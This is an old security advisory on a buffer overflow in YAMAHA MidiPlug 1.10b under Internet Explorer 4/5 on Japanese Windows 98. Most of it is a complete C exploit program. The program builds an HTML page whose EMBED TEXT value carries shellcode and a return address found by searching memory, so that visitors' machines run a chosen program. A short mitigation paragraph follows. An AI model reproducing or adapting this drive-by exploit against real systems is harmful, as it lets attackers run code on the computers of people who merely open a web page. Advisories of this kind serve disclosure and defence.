4th Nov 1999 [SBWID-2931]
COMMAND
MidiPlug
SYSTEMS AFFECTED
YAMAHA MidiPlug 1.10b on IE4/5 Windows98J
PROBLEM
Midi-Plugin program "YAMAHA MidiPlug 1.10b-j" for Windows IE4/5
contains the buffer overflow bug. If the long "TEXT" variable is
specified in EMBED tag, the buffer overflow occurs. If attacker
sets the exploit on the webpage, visitor's host will be cracked by
the any instructions written in the "TEXT" variable.
Exploit:
http://shadowpenguin.backsection.net/toolbox.html#no051
This exploit generates a html file that contains the exploit. The
html file executes "c:\windows\welcome.exe" on the victim host.
This is tested on Windows98(Japanese).
/*=============================================================================
YAMAHA MidiPLUG 1.10b-j for Windows98 IE4.0/5.0 exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN ([email protected])
=============================================================================
*/
#include <stdio.h>
#include <windows.h>
#define MAXBUF 700
#define RETADR 256
unsigned int mems[]={
0xbfe30000,0xbfe43000,0xbfe80000,0xbfe86000,
0xbfe90000,0xbfe96000,0xbfea0000,0xbfeb0000,
0xbfee0000,0xbfee5000,0xbff20000,0xbff47000,
0xbff50000,0xbff61000,0xbff70000,0xbffc6000,
0xbffc9000,0xbffe3000,0,0};
unsigned char exploit_code[200]={
0x90,0xEB,0x50,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x90,0x88,0x23,0xB8,0x50,0x57,0xF7,0xBF,0x80,
0xc4,0x20,0xFF,0xD0,0x43,0x90,0xB2,0xE0,0x90,0x28,
0x13,0x28,0x53,0x01,0x28,0x53,0x02,0x28,0x53,0x03,
0x28,0x53,0x04,0x28,0x53,0x05,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x90,0x88,0x23,0xB8,0x28,0x4E,0xF7,
0xBF,0x80,0xc4,0x20,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x90,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x90,0xEB,0xFD,0xE8,0xAB,0xFF,0xFF,0xFF,0x00
};
unsigned char cmdbuf[200]="MSVCRT.DLL.SYSTEM.WELCOME.EXE";
unsigned int search_mem(FILE *fp,unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
main(int argc,char *argv[])
{
FILE *fp;
unsigned int i,ip;
unsigned char buf[MAXBUF];
if (argc<2){
printf("usage %s output_htmlfile\n",argv[0]);
exit(1);
}
if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;
fprintf(fp,"<HTML><EMBED\nTYPE=\"audio/midi\"\nWIDTH=150\nHEIGHT=40\nAUTOSTART=TRUE\nTEXT=\"");
for (i=0;;i+=2){
if (mems[i]==0){
printf("Can not find jmp code.\n");
exit(1);
}
if ((ip=search_mem(fp,(unsigned char *)mems[i],
(unsigned char *)mems[i+1],0xff,0xe0))!=0) break;
}
printf("Jumping address : %x\n",ip);
memset(buf,0x90,MAXBUF);
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
strcat(exploit_code,cmdbuf);
memcpy(buf,exploit_code,strlen(exploit_code));
buf[MAXBUF]=0;
fprintf(fp,"%s\"\n>\n</HTML>",buf);
fclose(fp);
printf("%s created.\n",argv[1]);
return FALSE;
}
SOLUTION
If the check of "execution of active X controle and plugin" is
turned to "invalid", you can avoid this problem. "Display dialog
box mode" is also vulnerable. The overflow occurs without the
dialog box warning, if the opening file is stored in local disk
and it is opened.